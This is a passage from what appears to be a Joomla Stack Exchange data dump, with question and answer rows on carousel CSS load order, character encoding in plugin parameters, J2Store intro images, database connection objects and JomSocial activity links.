&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;                &#xA;&#xA;                        &amp;lt;/section&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;/article&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $ = jQuery.noConflict();&#xA;    $(window).load(function () {&#xA;        $('.customer-logos').slick({&#xA;                slidesToShow: 6,&#xA;                slidesToScroll: 1,&#xA;                autoplay: true,&#xA;                autoplaySpeed: 1000,&#xA;                arrows: false,&#xA;                dots: false,&#xA;                pauseOnHover: false,&#xA;                responsive: [{&#xA;                    breakpoint: 768,&#xA;                    settings: {&#xA;                        slidesToShow: 4&#xA;                    }&#xA;                }, {&#xA;                    breakpoint: 520,&#xA;                    settings: {&#xA;                        slidesToShow: 3&#xA;                    }&#xA;                }]&#xA;            });&#xA;        });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT UPDATE&lt;/strong&gt; &lt;strong&gt;ABOUT USING THE CAROUSEL CSS STYLE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use javascript/jQuery all kinds of stupidity can happen on your site when you run these scripts (more if someone just starts with javascript), so here in this particular case happened that the slides stack up at the start of the carousel, however at the end of the carousel the slides were OK. It can cause a lot of headache to figure out why it happens, when everything looks correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in this case, if the &lt;strong&gt;jQuery script&lt;/strong&gt; starts to run before the &lt;strong&gt;css&lt;/strong&gt; is loaded then the first slides (or clones of slides) created by the script will be in different sizes (heights) than the later slides, due to the script trying to fill up white spaces in the slider. Thus the slides will stack up. The carousel will look a very ugly thing. And on the top of that you will feel really stupid. :) It happens when you copy the slider (carousel) css in one of your &lt;strong&gt;custom.css&lt;/strong&gt; file which loads at the end of everything on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have to load the &lt;strong&gt;carousel.css&lt;/strong&gt; before the slider script (or carousel script, you name it). There are two easy way to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Copy the whole &lt;strong&gt;carousel css&lt;/strong&gt; on the top of your layout file between &lt;code&gt;&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt;&lt;/code&gt; tag. This is not the most optimal solution but it works very well. This is also the surest way to check if css cause problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; Create a &lt;strong&gt;carousel.css&lt;/strong&gt; file, put it in your &lt;code&gt;yourjoomla/templates/yourtemplate/css&lt;/code&gt; folder and load that file from the top of your layout file (in this case in K2 layout file), with the same method as you loaded the slick.js file at the beginning of your file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addStyleSheet('/templates/yourtemplate/css/carousel.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the css file is not loaded then try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = JPATH_ROOT . '/templates/yourtemplate/css/carousel.css'; // try it with or without opening slash (directory separator at the beginning of the path.&#xA;&#xA;$document-&amp;gt;addStyleSheet($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, this should handle the stupidity actually if the slides are stacking up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to make sure I updated the jQuery script with adding a $(window).load() function to the beginning of the script to hold back jquery to fire before page is fully loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally in this individual case the source of the slider appearance problem was a css rule which had to be added to the css of the slider and set to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.slick-track {&#xA;    display: inline-flex;&#xA;    margin-top: 15px;&#xA;    margin-bottom: 15px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This problem is not the same as feeding the slider with wrongly formulated, structured data, which was not a problem in this case at all.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-23T09:14:29.497" LastActivityDate="2019-01-23T09:14:29.497" CommentCount="20" ContentLicense="CC BY-SA 4.0" />
  <row Id="24079" PostTypeId="2" ParentId="24076" CreationDate="2019-01-14T19:09:44.293" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;jform[example][]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would depend on whether the field has &lt;code&gt;multiple&lt;/code&gt; attribute enabled or not. In your case it does so it already should look like this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;jform[table1][example][]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Put the field in a field group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;table1&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;example&quot; multiple=&quot;multiple&quot; type=&quot;example&quot; default=&quot;0&quot;  label=&quot;example&quot; /&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-14T19:09:44.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24080" PostTypeId="1" AcceptedAnswerId="24402" CreationDate="2019-01-14T20:50:03.437" Score="3" ViewCount="93" Body="&lt;p&gt;I am developing a Joomla! authentication plugin and have a standard Joomla! install (J3.9.1) with PHP 7.2 and MySQL 5.6.29.&#xA;My plugin has config parameters that are accessible via the backend. One of these params is a notification text that must be displayed.&#xA;If I use a German umlaut character in the notification text, for example the word 'über' (without the quotes), this word is initially stored and displayed correctly, but when the plugin is configured and saved once more, the umlaut character converts into gibberish. In the Joomla db #__extensions (collation utf8mb4_unicode_ci) the word is initialy stored in unicode as \u00fcber but is later stripped down to u00fcber.&lt;br /&gt;&#xA;In the standard Joomla authentication plugin Authentication-GMail, I can enter the same word 'über' in the 'User Blacklist' config param field and it will stay there forever, i.e. it is stored (in table #__extensions) as \u00fcber but the backslash is never stripped away.&lt;br /&gt;&#xA;So why the difference in behaviour between my plugin and Authentication-GMail and what can I do to be able to properly store foreign characters in my plugin notification text config param field?&lt;/p&gt;&#xA;" OwnerUserId="9885" LastActivityDate="2019-05-12T11:51:10.970" Title="How properly save foreign characters in plug-in config parameters" Tags="|plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24081" PostTypeId="2" ParentId="24075" CreationDate="2019-01-14T22:19:45.760" Score="1" Body="&lt;p&gt;This is true, and if you want to create an installation package, you need to add the new field to the installation sql file as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, if you updated the component, you will lose all the changes.&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2019-01-14T22:19:45.760" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24082" PostTypeId="2" ParentId="23987" CreationDate="2019-01-15T08:30:19.173" Score="1" Body="&lt;p&gt;In your form go to CSS and JavaScript and add this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;function rsfp_showPage(thePage) {&#xA;  RSFormProUtils.removeClass(thePage, 'formHidden');&#xA;  window.scrollTo(0, findPos(document.getElementById('userForm')));&#xA;}&#xA;&#xA;function findPos(obj) {&#xA;  var curtop = 0;&#xA;   if (obj.offsetParent) {&#xA;    do {&#xA;        curtop += obj.offsetTop;&#xA;       } while (obj = obj.offsetParent);&#xA;   return [curtop];&#xA;   }&#xA;}&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-01-15T08:30:19.173" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24083" PostTypeId="1" AcceptedAnswerId="24087" CreationDate="2019-01-15T13:56:38.563" Score="0" ViewCount="187" Body="&lt;p&gt;I decided to use intro image in article instead of j2store thumbnail image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use below code But did not show image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo json_decode($item-&amp;gt;images)-&amp;gt;image_intro; ?&amp;gt;&#xA;or&#xA;&amp;lt;?php echo json_decode($item-&amp;gt;images)-&amp;gt;image_fulltext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code at default_image.php j2store module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/**&#xA;* @package J2Store&#xA;* @copyright Copyright (c)2016-19 Sasi varna kumar / J2Store.org&#xA;* @license GNU GPL v3 or later&#xA;*/&#xA;defined('_JEXEC') or die;&#xA;$image_root_path = JUri::root();&#xA;$image_path = '' ;&#xA;if ($product-&amp;gt;image_type == 'thumbimage' &amp;amp;&amp;amp; isset($product-&amp;gt;thumb_image) ) {&#xA;    $image_path = $product-&amp;gt;thumb_image ; &#xA;} else if ($product-&amp;gt;image_type == 'mainimage' &amp;amp;&amp;amp; isset($product-&amp;gt;main_image) ) {&#xA;    $image_path = $product-&amp;gt;main_image ; &#xA;}&#xA;if($product-&amp;gt;image_position == 'top'){&#xA;    $img_class = 'col-md-12 ';&#xA;}else {&#xA;    $img_class = 'col-md-6 ';&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php if($product-&amp;gt;show_image): ?&amp;gt;&#xA;&amp;lt;div class=&quot;j2store-product-image  &amp;lt;?php echo $img_class; ?&amp;gt; &quot;&amp;gt;&#xA;    &amp;lt;?php if(JFile::exists(JPATH_SITE.'/'.JPath::clean($image_path))):?&amp;gt;&#xA;        &amp;lt;?php if($product-&amp;gt;module_display_link &amp;amp;&amp;amp; $product-&amp;gt;link_image ): ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo $product-&amp;gt;module_display_link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $product-&amp;gt;product_name; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;        &amp;lt;img itemprop=&quot;image&quot; alt=&quot;&amp;lt;?php echo $product-&amp;gt;product_name ;?&amp;gt;&quot; &#xA;        class=&quot;j2store-img-responsive j2store-product-image-&amp;lt;?php echo $product-&amp;gt;j2store_product_id; ?&amp;gt;&quot;  &#xA;        src=&quot;&amp;lt;?php echo $image_root_path.$image_path;?&amp;gt;&quot; &#xA;        width=&quot;&amp;lt;?php echo $product-&amp;gt;image_size_width ;?&amp;gt;&quot; &#xA;        height=&quot;&amp;lt;?php echo $product-&amp;gt;image_size_height ;?&amp;gt;&quot;  /&amp;gt;&#xA;&#xA;        &amp;lt;?php if($product-&amp;gt;module_display_link): ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9530" LastActivityDate="2019-01-18T20:44:54.880" Title="intro image article at j2store" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24084" PostTypeId="2" ParentId="24080" CreationDate="2019-01-15T14:21:47.473" Score="0" Body="&lt;p&gt;&lt;strong&gt;First,&lt;/strong&gt; try to set and use the &lt;strong&gt;textarea field&lt;/strong&gt; with adding a filter attribute for that field like &lt;code&gt;filter=&quot;raw&quot;&lt;/code&gt; . This can help to solve the initial problem and the input text might be stayed as it is without stripping down that back slash during saving. It might be an instant solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Secondly,&lt;/strong&gt; since we are talking about plugin parameters and this particular is a notification text thus you have to try a bit with character encoding before you show the called parameter in your layout (I am not convinced at all that yours is a character encoding problem, but you will check and see). I also had some headache about this when I worked with my own language strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the approach I would use is when I get back and use the param then I use convert on the strings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get the param in your view you use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mystring = $this-&amp;gt;params-&amp;gt;get('mynotificationparamtext');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can try with different conversions and you will see which one works for you, if it's an encoding problem. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can try with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mydecodedparamtext = utf8_decode($mystring);&#xA;// echo $mydecodedparamtext; // -- debug - to see what is the decode result&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can try the opposite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myencodedparamtext = utf8_encode($mystring);&#xA;// echo $myencodedparamtext; // -- debug - to see what is the encode result&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can try with PHP mb_convert_encoding, with that you can convert any encoding type to any other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myencodedparamtext = mb_convert_encoding($mystring, &quot;UTF-8&quot;, &quot;ISO-8859-15&quot;);&#xA;// echo $myencodedparamtext; // -- debug - to see what the convert result is&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will see what encoding is giving you the correct string format with correct display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just hope that one of the above can solve the issue for you.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-15T15:33:57.097" LastActivityDate="2019-01-15T15:33:57.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24085" PostTypeId="2" ParentId="23970" CreationDate="2019-01-15T19:28:27.930" Score="0" Body="&lt;p&gt;I AM LEAVING THIS HERE IN CASE SOMEONE NEEDS TO KNOW HOW TO DO THIS.  BUT THE ANSWER ABOVE IS BETTER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to switch on the content plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trigger the onContentPrepare plugin event&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up creating a Joomla! subform so I could add multiple positions.  Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        foreach ($subform_items as $item) {&#xA;            $position_name = &quot;{loadposition &quot; . $item-&amp;gt;position_name_x . &quot;}&quot;;&#xA;            $modulePositions = JHtml::_('content.prepare', $position_name, '', 'mod_my_module.content');&#xA;            echo $modulePositions;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this is doing is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A &lt;code&gt;foreach&lt;/code&gt; on my XML to gain each position.&lt;/li&gt;&#xA;&lt;li&gt;Use the usual &lt;code&gt;{loadposition yourPositionName}&lt;/code&gt; code that can be seen here: &lt;a href=&quot;https://docs.joomla.org/How_do_you_put_a_module_inside_an_article%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_you_put_a_module_inside_an_article%3F&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Usually you would manually type it or use the Editor Module Plugin, in my example I used &lt;strong&gt;yourPositionName&lt;/strong&gt;, but in real life I wanted these positions to come from my module where there is a repeatable field.  So I called &lt;code&gt;$position_name_x&lt;/code&gt; which is part of the &lt;code&gt;params&lt;/code&gt; of my &lt;code&gt;$item&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I then echo my position name.  Without &lt;code&gt;content prepare&lt;/code&gt; it will echo a literal string &lt;strong&gt;{yourPositionName}&lt;/strong&gt; and not the modules in that position, but with &lt;code&gt;content prepare&lt;/code&gt; it will send you the modules.  This is using the system plugin &lt;code&gt;onContentPrepare&lt;/code&gt; I believe.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope that helps someone&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-06-27T12:12:36.463" LastActivityDate="2019-06-27T12:12:36.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24086" PostTypeId="2" ParentId="23461" CreationDate="2019-01-16T00:04:06.373" Score="2" Body="&lt;p&gt;If you want to understand more how Joomla! plugins work I recommend you to read this awesome book from an advanced Joomla! developer Jisse Reitsma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla! All plugins are triggered by groups in a given order based by their ordering in the plugin administration page of the Joomla! backend. If a plugin within a group &quot;A&quot; sends some &quot;garbage input&quot; as you say, before another plugin with the same group &quot;A&quot; and the same event &quot;E&quot;, the first plugin will get precedence if there is an error but if there is no error the last plugin of the same group &quot;A&quot; can still modify the input if this input is sent by reference. (using and ampersand &amp;amp; before it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another special plugin group called &quot;system&quot; used for system plugins. System plugin can intercept and manipulate any event within Joomla! but they have the same laws of precedence. The last system plugin will have the opportunity to modify the input data if the previous system plugins don't have any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware of system plugin errors, due to the nature of a system plugin, (loaded very soon in Joomla! boot process), if there is a fatal error it can break your Joomla! site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps you go from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/9082278707&quot; rel=&quot;nofollow noreferrer&quot;&gt;Programming Joomla Plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Morever you can find the code related to the book&#xA;&lt;a href=&quot;https://github.com/jissereitsma/JoomlaPluginsBook&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jissereitsma/JoomlaPluginsBook&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="9588" LastEditDate="2019-01-16T11:53:05.633" LastActivityDate="2019-01-16T11:53:05.633" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24087" PostTypeId="2" ParentId="24083" CreationDate="2019-01-16T08:11:16.097" Score="0" Body="&lt;p&gt;Your question is quite unclear, however I try to help you if I can with the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After two hours,&lt;/strong&gt; I started to understand what your question means. :) That you want to use the &lt;strong&gt;Jooomla article intro image&lt;/strong&gt; as the product &lt;strong&gt;main image.&lt;/strong&gt; Now I got that. It’s confusing first since J2Store has it’s own pretty good image handling part. The developer deliberately developed their own image handling in J2Store in the new version (J2Store 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you go to &lt;strong&gt;Content - J2Store plugin&lt;/strong&gt; and set the option &lt;strong&gt;display image&lt;/strong&gt; in list view or in item view to &lt;strong&gt;no&lt;/strong&gt;, then J2store will use the &lt;strong&gt;article intro image&lt;/strong&gt; of the article automatically. You do not have to use any coding for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on this here: &lt;a href=&quot;https://www.j2store.org/component/kunena/2-general-questions/3804-use-first-image-of-article-for-product-thumbnail.html?start=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.j2store.org/component/kunena/2-general-questions/3804-use-first-image-of-article-for-product-thumbnail.html?start=6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE - HOW TO USE THE ARTICLE INTRO IMAGE IN PRODUCT DISPLAY MODULE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as in the comment it got finally clear that the question was about the &lt;strong&gt;J2Store Product display module&lt;/strong&gt; and now I have a little time to check and test this, here is how you can get and use the article intro image as main image in that module and use that in the display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to just insert these line on the top of the module default_image.php file which you give above (insert it after &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt; line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// to have article intro_image&#xA;$search_id = $product-&amp;gt;product_source_id;&#xA;$article = JTable::getInstance('Content', 'JTable');&#xA;$article-&amp;gt;load($search_id);    &#xA;&#xA;$article_raw = json_decode($article-&amp;gt;images, false);&#xA;$article_intro_image_src = &quot;/&quot;. $article_raw-&amp;gt;image_intro;&#xA;&#xA;$product-&amp;gt;main_image = $article_intro_image_src;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What these few lines do is getting the &lt;strong&gt;product source ID&lt;/strong&gt; which is actually the Joomla &lt;strong&gt;article id&lt;/strong&gt; too and then get the article intro image path from the database (via using JTable). And then defines the main product image as article intro image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, if you set in the module settings the option &lt;strong&gt;to show main images&lt;/strong&gt; then the module will display the article intro images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I hope it fully answered what you were looking for. :) (cheers)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-18T20:44:54.880" LastActivityDate="2019-01-18T20:44:54.880" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="24089" PostTypeId="1" AcceptedAnswerId="24092" CreationDate="2019-01-17T06:11:49.563" Score="0" ViewCount="178" Body="&lt;p&gt;I am new to joomla and I want to create a table in joomla database manually with the data and get those details to an article in joomla. Before that as my knowledge we need to get the database connection to a connection variable. I searched in the locally installed Joomla directory to find a file containing the database connection code base. I want to know is there a way to get the connection into a separate variable as follows  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cgl9z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cgl9z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13062" LastEditorUserId="13062" LastEditDate="2019-01-17T08:41:16.610" LastActivityDate="2019-01-17T10:37:24.317" Title="Get the Joomla database connection to a connection variable" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24090" PostTypeId="1" CreationDate="2019-01-17T07:17:36.240" Score="0" ViewCount="187" Body="&lt;p&gt;I am using roksprocket as a simple to use filter system of articles.&#xA;Sadly I could not find a way to disable the badly looking tags underneath the modules itself.&#xA;Of course there is a possible to use CSS with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display: none;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is that the only way for roksprocket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;an example of the issue can be found in this &lt;a href=&quot;https://www.xenovation.com/blog/development/java/java-professional-developer/free-uml-tool-for-developers&quot; rel=&quot;nofollow noreferrer&quot;&gt;free UML tool article&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="3956" LastEditDate="2019-01-18T11:14:29.920" LastActivityDate="2019-01-21T17:27:30.187" Title="roksprocket disable article tags" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24091" PostTypeId="2" ParentId="24089" CreationDate="2019-01-17T08:50:31.153" Score="2" Body="&lt;p&gt;To achieve what you want in Joomla! way, you need to develop/create a Joomla! content plugin, Joomla! documentation is excellent guide to complete this step: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to know how to select data from database tables, also Joomla! documentation has a good tutorial to read in this context: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2019-01-17T08:50:31.153" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24092" PostTypeId="2" ParentId="24089" CreationDate="2019-01-17T10:37:24.317" Score="3" Body="&lt;p&gt;To get started with querying the Joomla way, you'll need a database connection object.  All the heavy lifting is already done for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this object, there is a sea of methods that can be chained to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, the next step will be to declare a new query object.  This object also has many methods which allow you build a valid mysql query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this, you'll need to see the documentation about how to convert raw mysql syntax to Joomla's query building syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you a pool of working snippets with explanation and error reporting, search this site for my answers to mysql questions.  All of my answers are tested to be correct, unless I express in the post that my snippet is untested&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=user%3A12352+%5Bmysql%5D&quot;&gt;https://joomla.stackexchange.com/search?q=user%3A12352+%5Bmysql%5D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confident that my answers will help you to find clarity.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-17T10:37:24.317" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24093" PostTypeId="1" CreationDate="2019-01-17T14:13:00.417" Score="1" ViewCount="38" Body="&lt;p&gt;I have this situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach ($activities as $activity){&#xA;&#xA;    // user&#xA;    $user  = CFactory::getUser( $activity-&amp;gt;actor );&#xA;    $name = $user-&amp;gt;getDisplayName();&#xA;    $link = CRoute::_('index.php?option=com_community&amp;amp;view=profile&amp;amp;userid='.$activity-&amp;gt;actor);&#xA;&#xA;    //likes &#xA;    $likes = count(explode(',', $activity-&amp;gt;like));&#xA;    echo $activity-&amp;gt;id. ' - '.JHtml::Date($activity-&amp;gt;created, 'd-m-Y H:i:s', true) .' por &amp;lt;a href=&quot;'.$link.'&quot;&amp;gt;'.$name.'&amp;lt;/a&amp;gt;';&#xA;    echo ' &amp;lt;i class=&quot;fa fa-thumbs-up&quot;&amp;gt;&amp;lt;/i&amp;gt; '.$likes.'&amp;lt;hr&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the post (activity) link based on activity ID.&lt;/p&gt;&#xA;" OwnerUserId="9118" LastEditorUserId="12352" LastEditDate="2019-01-17T22:28:39.130" LastActivityDate="2022-06-01T04:05:40.463" Title="How to retrieve do JomSocial Activity Link based on activity ID?" Tags="|jomsocial|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
